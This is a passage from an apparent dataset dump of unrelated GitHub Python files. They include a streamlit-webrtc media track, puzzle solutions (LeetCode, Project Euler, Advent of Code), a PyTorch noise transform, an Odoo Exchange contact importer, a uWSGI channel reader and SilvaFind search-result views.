self._out_deque.popleft()\n self._out_deque.clear()\n self._out_deque.append(firstitem)\n\n self._out_deque.extend(new_frames)\n\n def stop(self):\n super().stop()\n\n self.track.stop()\n self._in_queue.put(__SENTINEL__)\n self._thread.join(self.stop_timeout)\n\n if hasattr(self.processor, \"on_ended\"):\n self.processor.on_ended()\n\n async def recv(self):\n if self.readyState != \"live\":\n raise MediaStreamError\n\n self._start()\n\n frame = await self.track.recv()\n self._in_queue.put(frame)\n\n new_frame = None\n with self._out_lock:\n if len(self._out_deque) > 0:\n new_frame = self._out_deque.popleft()\n\n if new_frame is None:\n new_frame = self._last_out_frame\n\n if new_frame:\n self._last_out_frame = new_frame\n new_frame.pts = frame.pts\n new_frame.time_base = frame.time_base\n\n return new_frame\n\n return frame\n\n\nclass AsyncVideoProcessTrack(AsyncMediaProcessTrack[VideoProcessorT, av.VideoFrame]):\n kind = \"video\"\n processor: VideoProcessorT\n\n\nclass AsyncAudioProcessTrack(AsyncMediaProcessTrack[AudioProcessorT, av.AudioFrame]):\n kind = \"audio\"\n processor: AudioProcessorT\n","repo_name":"whitphx/streamlit-webrtc","sub_path":"streamlit_webrtc/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":7778,"program_lang":"python","lang":"en","doc_type":"code","stars":978,"dataset":"github-code","pt":"48"} +{"seq_id":"7433789346","text":"import sys\nfrom collections import defaultdict\nfrom collections import Counter\nfrom collections import deque\n\nclass Solution:\n\n \n def allCellsDistOrder(self, R: int, C: int, r0: int, c0: int):\n res = []\n for i in range(R):\n for j in range(C):\n res.append([i, j])\n\n ret = [[i, j] for i in range(R) for j in range(C)]\n\n print(res, ret)\n #res.sort(key=lambda x: abs(x[0] - r0) + abs(x[1] - c0))\n\n return res\n\n\n def allCellsDistOrder_1(self, R: int, C: int, r0: int, c0: int):\n res = []\n visit = [[0] * C for _ in range(R)]# [[0, 0] for _ in range(R) for _ in range(C)]\n \n #print(visit)\n queue = deque()\n\n queue.append([r0, c0])\n\n lens = R * C\n i = 0\n while i < lens and queue:\n #print(queue)\n\n point = queue.popleft()\n \n tr = point[0]\n tc = point[1]\n\n if tr < 0 or tr >= R:\n continue\n\n if tc < 0 or tc >= C:\n continue\n \n #print(point, visit[tr][tc], visit)\n if visit[tr][tc] == 0:\n res.append(point)\n #print(res)\n visit[tr][tc] = 1\n\n \n #queue += [[tr + 1, tc], [tr - 1, tc], [tr, tc + 1], [tr, tc - 1]]\n queue.append([tr + 1, tc])\n queue.append([tr - 1, tc])\n queue.append([tr, tc + 1])\n queue.append([tr, tc - 1])\n\n i += 1\n \n\n\n return res\n \n \n \n\n\nif __name__ == \"__main__\":\n solution = Solution()\n nums1 = 2\n m = 2\n\n nums2 = 0\n n = 1\n\n result = solution.allCellsDistOrder_1(nums1, m, nums2, n)\n\n #print(solution.ls)\n\n print( result)","repo_name":"geniuscynic/leetcode","sub_path":"python/1030. 距离顺序排列矩阵单元格.py","file_name":"1030. 距离顺序排列矩阵单元格.py","file_ext":"py","file_size_in_byte":1841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"41725621437","text":"import random\nfrom typing import List\n\nimport torch\n\n\nclass AddNoise:\n\n def __init__(self,\n noise_samples: List[torch.Tensor],\n noise_class_indices: List[int],\n p: float = 0.8,\n max_noise_level: float = 1.0):\n \"\"\"Randomly add noise to a data sample, where noise is only added if the input sample is not\n already a noise signal itself. Data is clipped at (-1, 1) when noise is added. Use together\n with `torch_mate.data.utils.LabelDependentTransform` to apply to any dataset.\n\n Args:\n noise_samples (List[torch.Tensor]): List of noisy data to add to input data\n noise_class_indices (List[int]): Indices of classes that represent noise classes\n p (float, optional): Probability of applying noise. Defaults to 0.8.\n max_noise_level (float, optional): Maximum noise level multiplier. Defaults to 1.0.\n \"\"\"\n self.noise_samples = noise_samples\n self.noise_class_indices = noise_class_indices\n\n self.p = p\n self.max_noise_level = max_noise_level\n\n def __call__(self, x: torch.Tensor, y: torch.Tensor) -> torch.Tensor:\n noise_level = random.random() * self.max_noise_level\n\n # https://github.com/castorini/honk/blob/c3aae750c428520ba340961bddd526f9c999bb93/utils/model.py#L301\n if not y in self.noise_class_indices:\n if random.random() < self.p:\n bg_noise = random.choice(self.noise_samples)\n\n return torch.clip(noise_level * bg_noise + x, -1, 1)\n else:\n return x\n else:\n return torch.clip(noise_level * x, -1, 1)\n","repo_name":"V0XNIHILI/torch-mate","sub_path":"src/torch_mate/data/transforms/AddNoise.py","file_name":"AddNoise.py","file_ext":"py","file_size_in_byte":1689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29226418009","text":"\"\"\"\nTake the number 192 and multiply it by each of 1, 2, and 3:\n\n 192 × 1 = 192\n 192 × 2 = 384\n 192 × 3 = 576\n\nBy concatenating each product we get the 1 to 9 pandigital,\n192384576. We will call 192384576 the concatenated product of\n192 and (1,2,3)\n\nThe same can be achieved by starting with 9 and multiplying by\n1, 2, 3, 4, and 5, giving the pandigital, 918273645,\nwhich is the concatenated product of 9 and (1,2,3,4,5).\n\nWhat is the largest 1 to 9 pandigital 9-digit number that can be\nformed as the concatenated product of an integer with (1,2, ... , n)\nwhere n > 1?\n\"\"\"\n\ndef isPandigital(number):\n\n # must be divisible by 9\n # (sum of all digits should be 45)\n if number % 9 != 0 : return False\n\n digits = [0]*10; digits[0] = 1\n\n while number:\n digit = number % 10; number //= 10\n if digits[digit] : return False # early double check\n digits[digit] = 1\n\n if all(digits) : return True\n\n return False\n\ndef concatenate_numbers(*numbers):\n str_buffer = \"\"\n for number in numbers: str_buffer += (str(number))\n return int(str_buffer)\n\n# try a number\nupper_limit = 987654321\n\n# 9 already results in 91 .......\n# next hihger number must start with at least 92\nvalid_pandigitals = []\n\nfor number in range(92,9876):\n\n concatenated_sum = 0\n\n # just try (1,2, ... , n)\n # stop when new n multiplication results in a number > upper limit\n # check result for valid pandigital\n for n in range(1,10):\n\n tmp = concatenate_numbers(concatenated_sum, number*n)\n\n if tmp > upper_limit :\n break\n else:\n concatenated_sum = tmp\n\n if isPandigital(concatenated_sum) :\n valid_pandigitals.append(concatenated_sum)\n\n\n\nprint(max(valid_pandigitals))\n\n\n","repo_name":"mccornet/project_euler_2014","sub_path":"problem_038.py","file_name":"problem_038.py","file_ext":"py","file_size_in_byte":1756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73872957264","text":"import sys\nimport itertools\nimport copy\nimport astar\nimport json\n\n\ndef is_possible(floors):\n for f in floors:\n reactors = set()\n chips = set()\n for item in f:\n v = item[0]\n t = item[1]\n if t == 'G':\n reactors.add(v)\n else:\n chips.add(v)\n if len(reactors) > 0 and len(chips.difference(reactors)) > 0:\n return False\n return True\n\n\ndef hash(v):\n for i in range(len(v['floors'])):\n v['floors'][i] = sorted(v['floors'][i])\n return json.dumps(v, sort_keys=True)\n\n\ndef unhash(v):\n return json.loads(v)\n\n\ndef get_neighbors(v):\n v = unhash(v)\n elevator = v['e']\n floors = v['floors']\n for i in range(2, 0, -1):\n selections = itertools.permutations(floors[elevator], i)\n\n for selection in selections:\n if elevator > 0:\n f = copy.deepcopy(floors)\n f[elevator] = [item for item in floors[elevator] if item not in selection]\n f[elevator-1].extend(selection)\n if is_possible(f):\n yield hash({'e': elevator-1, 'floors': f})\n if elevator < 3:\n f = copy.deepcopy(floors)\n f[elevator] = [item for item in floors[elevator] if item not in selection]\n f[elevator+1].extend(selection)\n if is_possible(f):\n yield hash({'e': elevator+1, 'floors': f})\n\n\ndef heuristic_cost(a, goal):\n a = unhash(a)\n return 1\n #return len(a['floors'][0]) + len(a['floors'][1])*2 + len(a['floors'][2])*4 + len(a['floors'][3]*8)\n\n\ndef distance(a, b):\n return 1\n\n\ndef run1(inp): \n #start = {'e': 0, 'floors': [['HM', 'LM'], ['HG'], ['LG'], []]}\n #end = {'e': 3, 'floors': [[], [], [], ['HM', 'LM', 'HG', 'LG']]}\n start = {'e': 0, 'floors': [['PG', 'SG'], ['PM', 'SM'], ['RG', 'RM', 'UG', 'UM'], []]}\n end = {'e': 3, 'floors': [[], [], [], ['PG', 'SG', 'PM', 'SM', 'RG', 'RM', 'UG', 'UM']]}\n #start = {'e': 0, 'floors': [['EG', 'EM', 'DG', 'DM', 'TG', 'TM', 'PG', 'SG'], ['PM', 'SM'], ['RG', 'RM', 'UG', 'UM'], []]}\n #end = {'e': 3, 'floors': [[], [], [], ['EG', 'EM', 'DG', 'DM', 'TG', 'TM', 'PG', 'SG', 'PM', 'SM', 'RG', 'RM', 'UG', 'UM']]}\n \n v = list(astar.find_path(hash(start), hash(end), get_neighbors, False, heuristic_cost, distance))\n for item in v:\n print(item)\n return len(v)-1\n\n\nif __name__==\"__main__\":\n with open(\"day11.txt\", \"r\") as f:\n inp = f.readlines()\n print(run1(inp))","repo_name":"citiral/aoc","sub_path":"2016/day11-2.py","file_name":"day11-2.py","file_ext":"py","file_size_in_byte":2551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32429616208","text":"import torch\nimport csv\nimport time\nfrom sklearn.metrics import precision_recall_fscore_support, confusion_matrix\n\ndef test(testloader, model, classes, load_model_path, out_path, multi_test_size, device):\n # model load\n if device == \"cuda\":\n model.load_state_dict(torch.load(load_model_path))\n else : \n model.load_state_dict(torch.load(load_model_path, map_location=torch.device(device)))\n\n model.eval()\n\n correct = 0\n total = 0\n correct_pred = {classname: 0 for classname in classes}\n total_pred = {classname: 0 for classname in classes}\n pred = []\n y_true = []\n y_pred = []\n outs = []\n multi_test_len = len(multi_test_size)\n\n start = time.time()\n with torch.no_grad():\n for i, (data, labels, image_name) in enumerate(testloader):\n if device == \"cuda\":\n data = data.cuda()\n outputs = model(data)\n\n outs.append(outputs)\n\n if (i+1) % len(multi_test_size) == 0 :\n tmp = 0\n for k in range(multi_test_len):\n tmp = tmp + outs[k]\n outs = []\n\n _, predicted = torch.max(tmp.data, 1)\n\n y_pred.append(predicted.cpu().tolist())\n y_true.append(labels.tolist())\n\n total += labels.size(0)\n correct += (predicted.cpu() == labels).sum().item()\n pred.append([image_name[0], predicted.cpu().item()])\n\n for label, prediction in zip(labels, predicted.cpu()):\n if label == prediction:\n correct_pred[classes[label]] += 1\n total_pred[classes[label]] += 1\n\n print(\"inference time :\", time.time() - start)\n precision, recall, fscore, support = precision_recall_fscore_support(y_true, y_pred, average=None)\n\n # precision, recall, f1score 출력\n print('precision: \\t{}'.format(precision))\n print('recall: \\t{}'.format(recall))\n print('fscore: \\t{}'.format(fscore))\n print('support: \\t{}'.format(support))\n\n # 결과 출력\n print('Accuracy of the all test images: %d %%' % (100 * correct / total))\n # for classname, correct_count in correct_pred.items():\n # accuracy = 100 * float(correct_count) / total_pred[classname]\n # print(\"Accuracy for class {:5s} is: {:.1f} %\".format(classname, accuracy))\n \n # confusion matrix\n cf = confusion_matrix(y_true, y_pred)\n print(\"Confusion Matrix\")\n print(cf)\n\n # prediction csv파일로 저장\n f = open(out_path, 'w', newline='')\n wr = csv.writer(f)\n wr.writerows(pred)\n f.close()\n print(out_path, 'file saved!!')\n","repo_name":"JOOCHANN/image_classification","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73329761107","text":"import logging\nimport odoo\nfrom odoo import SUPERUSER_ID\nfrom odoo.addons.connector.connector import ConnectorUnit\n# from odoo.addons.queue_job.exception import FailedJobError\nfrom odoo.addons.connector.unit.synchronizer import Importer\n\nfrom ..backend import exchange_2010\n\nfrom contextlib import closing, contextmanager\n\n_logger = logging.getLogger(__name__)\n\nRETRY_ON_ADVISORY_LOCK = 1 # seconds\nRETRY_WHEN_CONCURRENT_DETECTED = 1 # seconds\n\n\nRETRY_ON_ADVISORY_LOCK = 1 # seconds\nRETRY_WHEN_CONCURRENT_DETECTED = 1 # seconds\n\n\nclass ExchangeImporter(Importer):\n \"\"\" Exchange Importer \"\"\"\n\n # Name of the field which contains the ID\n _id_field = None # set in sub-classes\n\n def run(self, *args, **kwargs):\n \"\"\" The connectors have to implement the _run method \"\"\"\n return self._run(*args, **kwargs)\n\n def __init__(self, environment):\n \"\"\"\n :param environment: current environment (backend, session, ...)\n :type environment: :py:class:`connector.connector.Environment`\n \"\"\"\n super(ExchangeImporter, self).__init__(environment)\n self.external_id = None\n self.external_record = None\n\n def external_id_from_record(self, record):\n assert self._id_field, \"_id_field must be defined\"\n return record[self._id_field]\n\n def _before_import(self):\n \"\"\" Hook called before the import, when we have the external\n data\"\"\"\n\n def _import_dependency(self, subrecord, binding_model,\n importer_class=None, always=False,\n **kwargs):\n \"\"\" Import a dependency.\n\n The importer class is a class or subclass of\n :class:`ExchangeImporter`. A specific class can be defined.\n\n :param subrecord: subrecord to import\n :param binding_model: name of the binding model for the relation\n :type binding_model: str | unicode\n :param importer_cls: :class:`odoo.addons.connector.\\\n connector.ConnectorUnit`\n class or parent class to use for the export.\n By default: ExchangeImporter\n :type importer_cls: :class:`odoo.addons.connector.\\\n connector.MetaConnectorUnit`\n :param always: if True, the record is updated even if it already\n exists, note that it is still skipped if it has\n not been modified on the backend since the last\n update. When False, it will import it only when\n it does not yet exist.\n :type always: boolean\n :param **kwargs: additional args are propagated to the importer\n \"\"\"\n if importer_class is None:\n importer_class = ExchangeImporter\n importer = self.unit_for(importer_class, model=binding_model)\n external_id = importer.external_id_from_record(subrecord)\n binder = self.binder_for(binding_model)\n if always or not binder.to_openerp(external_id):\n importer.run(subrecord, **kwargs)\n\n def _import_dependencies(self):\n \"\"\" Import the dependencies for the record\n\n Import of dependencies can be done manually or by calling\n :meth:`_import_dependency` for each dependency.\n \"\"\"\n return\n\n def _validate_data(self, data):\n \"\"\" Check if the values to import are correct\n\n Pro-actively check before the ``_create`` or\n ``_update`` if some fields are missing or invalid.\n\n Raise `InvalidDataError`\n \"\"\"\n return\n\n def _must_skip(self):\n \"\"\" Hook called right after we read the data from the backend.\n\n If the method returns a message giving a reason for the\n skipping, the import will be interrupted and the message\n recorded in the job (if the import is called directly by the\n job, not by dependencies).\n\n If it returns None, the import will continue normally.\n\n :returns: None | str | unicode\n \"\"\"\n return\n\n def _get_binding(self):\n \"\"\"Return the binding id from the external id\"\"\"\n return self.binder.to_openerp(self.external_id)\n\n def _skip_create(self, map_record, values):\n \"\"\" Defines if a create import should be skipped\n\n A reason can be returned in string\n \"\"\"\n return\n\n def _create_data(self, map_record, **kwargs):\n return map_record.values(for_create=True, **kwargs)\n\n def _create_context_keys(self, keys=None):\n if keys and 'connector_no_export' in keys:\n context_keys = dict(**keys or {})\n else:\n context_keys = dict(\n connector_no_export=True,\n **keys or {}\n )\n if self.env.user.id == SUPERUSER_ID:\n context_keys['mail_create_nosubscribe'] = True\n\n return context_keys\n\n def _create(self, data, context_keys=None):\n \"\"\" Create the Odoo record \"\"\"\n # special check on data before import\n self._validate_data(data)\n context_keys = self._create_context_keys(keys=context_keys)\n binding = self.model.with_context(**context_keys).create(data)\n\n _logger.debug('%s %d created from %s %s',\n self.model._name, binding.id,\n self.backend_record._name, self.external_id)\n return binding\n\n def _skip_update(self, map_record, values):\n \"\"\" Defines if an update import should be skipped\n\n A reason can be returned in string\n \"\"\"\n return\n\n def _update_data(self, map_record, **kwargs):\n return map_record.values(**kwargs)\n\n def _update_context_keys(self, keys=None):\n context_keys = dict(\n connector_no_export=True,\n __deduplicate_no_name_search=True,\n __changeset_rules_source_model=self.backend_record._name,\n __changeset_rules_source_id=self.backend_record.id)\n\n if keys:\n context_keys.update(keys)\n\n if self.env.user.id == SUPERUSER_ID:\n context_keys['tracking_disable'] = True\n\n return context_keys\n\n def _update(self, binding, data, context_keys=None):\n \"\"\" Update an Odoo record \"\"\"\n # special check on data before import\n self._validate_data(data)\n\n context_keys = self._update_context_keys(keys=context_keys)\n binding.with_context(**context_keys).write(data)\n _logger.debug('%s %d updated from %s %s',\n self.model._name, binding.id,\n self.backend_record._name, self.external_id)\n return\n\n def _after_import(self, binding):\n \"\"\" Hook called at the end of the import \"\"\"\n return\n\n @contextmanager\n def do_in_new_connector_env(self, model_name=None):\n \"\"\" Context manager that yields a new connector environment\n\n Using a new Odoo Environment thus a new PG transaction.\n\n This can be used to make a preemptive check in a new transaction,\n for instance to see if another transaction already made the work.\n \"\"\"\n with odoo.api.Environment.manage():\n registry = odoo.modules.registry.RegistryManager.get(\n self.env.cr.dbname\n )\n with closing(registry.cursor()) as cr:\n try:\n new_env = odoo.api.Environment(cr, self.env.uid,\n self.env.context)\n connector_env = self.connector_env.create_environment(\n self.backend_record.with_env(new_env),\n self.env,\n model_name or self.model._name,\n connector_env=self.connector_env\n )\n yield connector_env\n except Exception as exp:\n cr.rollback()\n raise exp\n else:\n cr.commit()\n\n def _run(self, item_id, user):\n \"\"\" Beginning of the synchronization\n\n The first thing we do is to try to acquire an advisory lock\n on Postgresql. If it can't be acquired it means that another job\n does the same import at the same moment.\n The goal is to prevent 2 jobs to create the same binding because\n they each job is not aware of the other binding.\n It happens easily when 2 jobs import the same dependencies (such\n as partner categories for an import of partners).\n\n :param item_id: item_id\n \"\"\"\n self.openerp_user = user\n self.external_id = item_id\n # lock_name = 'import({}, {}, {}, {})'.format(\n # self.backend_record._name,\n # self.backend_record.id,\n # self.model._name,\n # self.external_id,\n # )\n # Keep a lock on this import until the transaction is committed\n # self.advisory_lock_or_retry(lock_name,\n # retry_seconds=RETRY_ON_ADVISORY_LOCK)\n\n skip = self._must_skip()\n if skip:\n return skip\n\n self._before_import()\n\n # import the missing linked resources\n # self._import_dependencies()\n\n contact_id = self.external_id\n\n data = self._map_data()\n data.update(user_id=self.openerp_user.id,\n backend_id=self.backend_record.id)\n\n # try to find a exchange.res.partner with the same\n # Id/user_id/backend_id\n # if found, update it\n # otherwise, create it\n backend = self.backend_record\n args = [('backend_id', '=', backend.id),\n ('user_id', '=', self.openerp_user.id),\n ('external_id', '=', contact_id)]\n exchange_partners = self.env['exchange.res.partner'].search(args)\n\n partners = self.env['res.partner']\n if data.get('company_name'):\n partners = self.env['res.partner'].search(\n [('name', '=', data['company_name'])])\n del data['company_name']\n\n if not exchange_partners:\n GENERIC = self.env.ref('connector_exchange.res_partner_GENERIC').id\n _logger.debug('does not exist --> CREATE')\n data['active'] = False\n binding = exchange_partners._create(data)\n write_dict = {\n 'active': True,\n 'parent_id': partners and partners[0].id or GENERIC\n }\n binding_rs = exchange_partners.browse(binding)\n self._update(binding_rs, write_dict)\n # self.move_contact(contact_id)\n else:\n # if not self.external_record:\n # _logger.debug('deleted in Exchange')\n # # self.binding.openerp_id.with_context(\n # # connector_no_export=True).unlink()\n # else:\n _logger.debug('exists --> UPDATE')\n binding = exchange_partners[0]\n self._update(binding, data)\n\n def _map_data(self):\n raise NotImplementedError('Must be implemented in subclasses')\n\n # def move_contact(self, contact_id):\n # ews_service = self.backend_adapter.ews\n # ews_service.get_root_folder()\n # contact_folder = ews_service.root_folder.FindFolderByDisplayName(\n # \"Contacts\",\n # types=[FolderClass.Contacts])\n # if contact_folder:\n # contact_folder = contact_folder[0]\n # ews_service.MoveItems(contact_folder.Id, [contact_id])\n # else:\n # raise FailedJobError(\n # _('Unable to find folder \"Contacts\" in Exchange')\n # )\n\n\ndef add_checkpoint(env, model_name, record_id,\n backend_model_name, backend_id):\n checkpoint_model = env['connector.checkpoint']\n return checkpoint_model.create_from_name(model_name, record_id,\n backend_model_name, backend_id)\n\n\n@exchange_2010\nclass AddCheckpoint(ConnectorUnit):\n \"\"\" Add a connector.checkpoint on the underlying model\n (not the exchange.* but the _inherits'ed model) \"\"\"\n\n _model_name = ['exchange.res.partner']\n\n def run(self, openerp_binding_id):\n binding = self.model.browse(openerp_binding_id)\n record = binding.openerp_id\n add_checkpoint(self.env,\n record._model._name,\n record.id,\n self.backend_record.id)\n","repo_name":"camptocamp/connector-exchange","sub_path":"connector_exchange/unit/importer.py","file_name":"importer.py","file_ext":"py","file_size_in_byte":12451,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"16173835914","text":"import os\nimport sys\nimport time\n\nimport umsgpack\n\nfrom uwsgi_asgi.uwsgi_asgi import channel_layer, get_pipe_name\n\nsys.path.append(os.getcwd())\ntry:\n import uwsgi\n log = uwsgi.log\nexcept ImportError:\n log = print\n\n\nclass LayerWrapperWriter:\n def __init__(self):\n self._channels = {}\n # open pipe to get new channels\n self.name = get_pipe_name('reader_mule')\n if os.path.exists(self.name):\n os.remove(self.name)\n os.mkfifo(self.name)\n self.pipeinfd = os.open(self.name, os.O_RDONLY | os.O_NONBLOCK)\n self.pipein = os.fdopen(self.pipeinfd, 'rb')\n\n def close(self):\n os.close(self.pipeinfd)\n if os.path.exists(self.name):\n os.remove(self.name)\n\n def read(self):\n # uwsgi.wait_fd_read(self.pipeinfd)\n # uwsgi.suspend()\n # if self.pipeinfd == uwsgi.ready_fd():\n msgdata = self.pipein.read()\n if msgdata:\n chname = umsgpack.unpackb(msgdata)\n if chname.startswith('-'):\n print('removing channel from reader {} {}'.format(chname, len(self.channels)))\n chname = chname[1:]\n try:\n fd = self._channels.pop(chname)\n os.close(fd)\n except KeyError:\n pass\n else:\n self.remove(chname)\n\n def send(self, chname, message):\n msgdata = umsgpack.packb(message)\n try:\n os.write(self._channels[chname], msgdata)\n except BrokenPipeError:\n self.remove(chname)\n\n def remove(self, chname):\n if chname not in self._channels:\n if not os.path.exists(get_pipe_name(chname)):\n print('pipe does not exists!! {}'.format(get_pipe_name(chname)))\n self._channels[chname] = os.open(get_pipe_name(chname), os.O_WRONLY)\n print('new channel {} {}'.format(chname, len(self.channels)))\n else:\n print('got channel name already in dict {}'.format(chname))\n\n @property\n def channels(self):\n return self._channels.keys()\n\n\ndef reader():\n \"\"\"\n todo: run this should run in a uwsgi programmed mule and send the received messages to the thread using named pipes\n pipe will be named using the reply_channel name eg '/tmp/{}'.format(reply_channel)\n \"\"\"\n layer_wrapper = LayerWrapperWriter()\n while True:\n layer_wrapper.read()\n channel, message = channel_layer.receive(layer_wrapper.channels, block=False)\n if channel:\n # Deal with the message\n try:\n # unknown_message_keys = set(message.keys()) - {\"bytes\", \"text\", \"close\"}\n # if unknown_message_keys:\n # raise ValueError(\n # \"Got invalid WebSocket reply message on %s - contains unknown keys %s\" % (\n # channel,\n # unknown_message_keys,\n # )\n # )\n # print('got message from channel layer {} {} {}'.format(type(message), channel, message))\n try:\n layer_wrapper.send(channel, message)\n # wsipc = ipc.get(message['reply_channel'], IPC(message['reply_channel'], reader=False))\n # wsipc.send_message(message)\n except (ConnectionRefusedError, FileNotFoundError):\n pass # ws closed, ignore message\n except Exception as e:\n log(\"HTTP/WS send decode error: %s\" % e)\n raise\n else:\n # print(len(layer_wrapper.channels), end='', flush=True)\n time.sleep(0.05)\n uwsgi.log('finished reader mule!!!')\n\nif __name__ == '__main__':\n reader()\n","repo_name":"tovmeod/uwsgi-asgi","sub_path":"reader_mule.py","file_name":"reader_mule.py","file_ext":"py","file_size_in_byte":3786,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"48"} +{"seq_id":"26158247192","text":"\"\"\"\nRead dsi config. (config.yml or dsi_config.yml)\n\"\"\"\n\nimport os\nimport yaml\n\n\ndef find_config_file():\n # Highest priority first:\n search_paths = [\n os.path.join(os.path.dirname(os.path.dirname(__file__)), \"config.yml\"),\n os.path.expanduser(\"~/.dsi_config.yml\")\n ]\n for path in search_paths:\n if os.path.exists(path):\n return path\n\n raise IOError(\"Did not find config.yml in repo root nor ~/.dsi_config.yml. \"\n \"Please see /example_config.yml for a template.\")\n\n\ndef read_config():\n with open(find_config_file()) as config_file:\n return yaml.load(config_file)\n","repo_name":"mdcallag/dsi","sub_path":"test_lib/dsi_config.py","file_name":"dsi_config.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"31872103017","text":"from tabulate import tabulate\nstudents = [\n {\"sNumber\": 101, \"name\": \"Ali\", \"surname\": \"Ak\", \"phone\": \"12345\",\"wallet\":1000},\n {\"sNumber\": 102, \"name\": \"Ayşe\", \"surname\": \"Al\", \"phone\": \"99999\",\"wallet\":500},\n {\"sNumber\": 103, \"name\": \"Tina\", \"surname\": \"Schwarz\", \"phone\": \"1312345\",\"wallet\":1000},\n {\"sNumber\": 104, \"name\": \"Hans\", \"surname\": \"Wolter\", \"phone\": \"993199\",\"wallet\":500},\n]\n\n\n\n\ndef saveStudent(sNumber, name, surname, sPhone,wallet):\n sNumberlist=[]\n for i in students:\n sNumberlist.append(i[\"sNumber\"])\n\n sNumberlist.sort()\n if sNumber in sNumberlist:\n print(f\"there is a student with student number{sNumber}\")\n print(f\"student could not added to Datebase\")\n print(f\"last student number is:{sNumberlist[-1]}\")\n else:\n students.append({\"sNumber\":sNumber,\"name\":name,\n \"surname\":surname,\"phone\":sPhone,\"wallet\":wallet})\n \n \n \n # students.append({\"sNumber\": sNumber, \"name\": name,\n # \"surname\": surname, \"phone\": sPhone, \"wallet\":wallet})\n\n\ndef listStudents():\n print(tabulate(students,headers=\"keys\"))\n\n\ndef addMoneyToWallet(sNumber, amount):\n for i in students:\n if i[\"sNumber\"] == sNumber:\n i[\"wallet\"]+=amount\n\n\n\n\nprint(\"\\n\")\nprint(\"*\".center(50, \"-\"))\nprint(\"Welcome to our School Database\".center(50, \"-\"))\n\nwhile True:\n print(\"To see student list, type '1': \")\n print(\"To add new student, type '2': \")\n print(\"To add balance to a student wallet type '3': \")\n print(\"To quit, type 'q': \")\n choice = input(\"Type your choice : \")\n if choice == \"q\":\n break\n elif choice == \"1\":\n listStudents()\n elif choice == \"2\":\n sNumber = int(input(\"Student Number : \"))\n name = input(\"Student Name : \")\n surname = input(\"Student Surname: \")\n sPhone = input(\"Student Phone : \")\n wallet = int(input(\"wallet balence:\"))\n saveStudent(sNumber, name, surname, sPhone, wallet)\n elif choice == \"3\":\n sNumber = int(input(\"Student Number :\"))\n amount =int(input(\"Balence to add :\"))\n addMoneyToWallet(sNumber,amount)\n else:\n continue\n\n print(\"\\n \\n \") # new line","repo_name":"python1818/python_principles","sub_path":"school_D.B2..py","file_name":"school_D.B2..py","file_ext":"py","file_size_in_byte":2212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"45714237696","text":"import re\n\nimport localdatetime\n\nfrom Products.SilvaFind import schema\nfrom Products.SilvaFind.interfaces import IResultField, IQuery, IResultView\nfrom Products.SilvaMetadata.interfaces import IMetadataService\nfrom Products.SilvaMetadata.interfaces import IMetadataElement\nfrom Products.SilvaMetadata.Index import createIndexId\nfrom Products.ZCTextIndex.ParseTree import ParseError\n\nfrom five import grok\nfrom silva.core.interfaces import IVersion, IImage\nfrom silva.core.interfaces.adapters import IIconResolver\nfrom zope.component import getMultiAdapter, getUtility\nfrom zope.interface import Interface\nfrom zope.traversing.browser import absoluteURL\nfrom zope.traversing.browser.interfaces import IAbsoluteURL\n\n\nclass ResultView(grok.MultiAdapter):\n grok.implements(IResultView)\n grok.adapts(IResultField, IQuery, Interface)\n grok.provides(IResultView)\n\n def __init__(self, result, context, request):\n self.context = context\n self.result = result\n self.request = request\n\n def update(self, view):\n pass\n\n def render(self, item):\n value = getattr(item.getObject(), self.result.getName())()\n if not value:\n return\n\n if hasattr(value, 'strftime'):\n # what the hell are these things?,\n # they don't have a decent type\n value = value.strftime('%d %b %Y %H:%M')\n\n value = '%s' % value\n title = '%s' % (\n self.title)\n return '%s%s' % (title, value)\n\n\nclass MetatypeResultView(ResultView):\n grok.adapts(schema.MetatypeResultField, IQuery, Interface)\n\n def update(self, view):\n self.get_icon = IIconResolver(self.request).get_tag\n\n def render(self, item):\n content = item.getObject()\n if IVersion.providedBy(content):\n content = content.get_silva_object()\n return self.get_icon(content)\n\n\nclass RankingResultView(ResultView):\n grok.adapts(schema.RankingResultField, IQuery, Interface)\n\n def __init__(self, *args):\n super(RankingResultView, self).__init__(*args)\n self.rankings = {}\n self.highest = 1.0\n\n def update(self, view):\n query = self.request.form.get('fulltext')\n self.highest = 1.0\n self.rankings = {}\n if query:\n query = unicode(query, 'utf8')\n # XXX should use getUtility\n catalog = self.context.service_catalog\n index = catalog.Indexes['fulltext']\n try:\n max_index = view.results.start + len(view.results) + 1\n rankings = index.query(query, max_index)[0]\n if rankings:\n self.highest = rankings[0][1]/100.0\n self.rankings = dict(rankings)\n except ParseError:\n pass\n\n self.img = '\"Rank\"' % view.static['ranking.gif']()\n\n def render(self, item):\n rid = item.getRID()\n if rid in self.rankings:\n return '%s %.1f%%' % (\n self.img, (self.rankings[rid] / self.highest))\n return None\n\n\nclass TotalResultCountView(ResultView):\n grok.adapts(schema.TotalResultCountField, IQuery, Interface)\n\n def render(self, item):\n # the actual count is calculated in the pagetemplate\n # this is only here, so it can be enabled / disabled\n # in the smi.\n\n # Please note that enabling that showing the total\n # number of search results might be a security risk\n # since it can be figured out that certain objects\n # were ommitted from the search\n return None\n\n\nclass ResultCountView(ResultView):\n grok.adapts(schema.ResultCountField, IQuery, Interface)\n\n def render(self, item):\n # the actual count is calculated in the pagetemplate\n # this is only here, so it can be enabled / disabled\n # in the smi.\n return\n\n\nclass LinkResultView(ResultView):\n grok.adapts(schema.LinkResultField, IQuery, Interface)\n\n def render(self, item):\n content = item.getObject()\n title = content.get_title_or_id()\n if IVersion.providedBy(content):\n url = absoluteURL(content.get_silva_object(), self.request)\n else:\n url = absoluteURL(content, self.request)\n 